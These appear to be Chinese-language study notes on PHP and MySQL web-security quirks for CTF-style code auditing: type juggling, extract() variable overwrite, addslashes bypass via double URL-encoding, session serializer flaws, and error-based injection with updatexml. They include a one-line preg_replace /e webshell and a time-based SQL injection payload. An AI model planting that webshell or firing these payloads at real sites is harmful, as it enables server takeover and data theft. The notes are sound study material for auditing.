http://blog.evalbug.com/2015/11/10/different_arrays_compare_indentical_due_to_integer_key_truncation/
<?php
$flag ="XXXX";
if(empty($_GET['user'])) die(show_source(__FILE__));
$user = ['admin', 'xxoo'];
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
}
?>
//http://localhost/test.php?user[1]=xxoo&user[4294967296]=admin
strcmp(string str1,stringstr2); 比较str1和str2 如果长度1>2 返回1否则返回0 但是仅限于两者数据类型相同 如果s1是一个int型 s2是个string型就无法比较 返回的永远是0
函数从数组中将变量导入到当前的符号表。
extract($_GET)
存在变量覆盖漏洞
$fangzhang = "hongyaasasashoasasngyaaaaahongyaaa:/a/aahongya";
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", $fangzhang, $match);
echo $IsMatch;
正则表达式匹配
preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject
直到到达结尾。 如果发生错误preg_match()返回 FALSE。
ereg
**ereg** ( string `$pattern` , string `$string` [, array `&$regs` ] ) : int
以区分大小写的方式在 string
中寻找与给定的正则表达式 pattern
所匹配的子串。
在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章
http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
state[i] = state[i-3] + state[i-31]
查一下php手册;http://php.net/manual/zh/language.types.string.php 。除了用单引号,双引号表示字符串外,还有以下两种:
mixed parse_url ( string $url [, int $component = -1 ] )
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
url:
要解析的 URL。无效字符将使用 _ 来替换。
component:
指定 PHP_URL_SCHEME
、 PHP_URL_HOST
、 PHP_URL_PORT
、 PHP_URL_USER
、 PHP_URL_PASS
、 PHP_URL_PATH
、PHP_URL_QUERY
或 PHP_URL_FRAGMENT
的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT
后,将返回一个 integer 的值)。
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
///会被返回false
例如如下代码,如果输入http://localhost/1.php?sql=select会被过滤
对字符串进行解析,同时还自带urldecode功能,所以参数通过使用%2527就可以绕过addslashes函数
反引用一个使用 addcslashes() 转义的字符串
返回反转义后的字符串。可识别类似 C 语言的 \n,\r,… 八进制以及十六进制的描述。
stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'
is_numeric()支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。
强制类型转换int,不能正确转换的类型有十六进制型字符串、科学计数法型字符串(部分)。
<?php
show_source(__FILE__);
$temp = $_GET['temp'];
echo (int)$temp;
?>
?temp=0x76a701
输出0
?temp=0e11
输出0
?temp=4e11
输出4
使用反斜线引用字符串
在单引号 双引号 反斜线 与NUl 前面加上反斜线
PHP5.5.0以下可用,5.5.0及以上版本已经被弃用了。使用 preg_replace_callback() 代替。/e 即 PREG_REPLACE_EVAL。
执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
如果subject
是一个数组, preg_replace()返回一个数组,其他情况下返回一个字符串。
webshell代码
<?php
@preg_replace(``"/[pageerror]/e"``,$_POST[``'error'``],``"saft"``);
字母出现顺序越靠后则数据加载的顺序越靠前,也就是说如果以POST、GET方式传入同样的变量,那么用REQUEST获取的就是POST的变量值。
https://doubler.cn/2018/10/13/PHP-Audit-Labs-Day12/
<?php
$a = "aaa\'";
$a = addslashes($a);
$c = "\$option='$a';";
$str = $a;
echo $a;
echo "\n";
echo $c;
echo "\n";
$file = "\$option='asa';";
// $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
$file = preg_replace('|\$option=\'.*\';|', $c, $file);
echo $file;
这里面有一个疑问,运行的结果如下
aaa\\\'
$option='aaa\\\'';
$option='aaa\\'';
为什么会吃掉一个字符串。
PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患
http://www.91ri.org/15925.html
http://www.vuln.cn/6413
PHP 内置了多种处理器用于存取PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
当 session.auto_start=On 时:
因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的
session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。
https://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/
0x00 为16进制的截断字符
%00 经过url解码之后为截断字符
ereg()函数存在NULL截断漏洞
<br />'||if(rpad(`key`,1,1)='a',sleep(3),1)#<br />
https://paper.seebug.org/216/
mysql
PDATE student D
LEFT JOIN (SELECT
B.studentId,
SUM(B.score) AS s_sum,
ROUND(AVG(B.score),1) AS s_avg
FROM score B
WHERE b.examTime >= '2015-03-10'
GROUP BY B.studentId) C
ON (C.studentId = D.id)
SET D.score_sum = c.s_sum,
D.score_avg = c.s_avg
WHERE D.id =
(
SELECT
E.id FROM
(
SELECT
DISTINCT a.studentId AS id
FROM score A
WHERE A.examTime >= '2015-03-10'
) E
WHERE E.id = D.id
)
AND d.age = 1;
/*!*/
只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/
可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释
select /*!50709version()*/;UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target
中被xpath_expr
匹配到的部分使用new_xml
替换
这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/))
,得到'5.5.42-log
,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log
, 因此得到了你想要得到的数据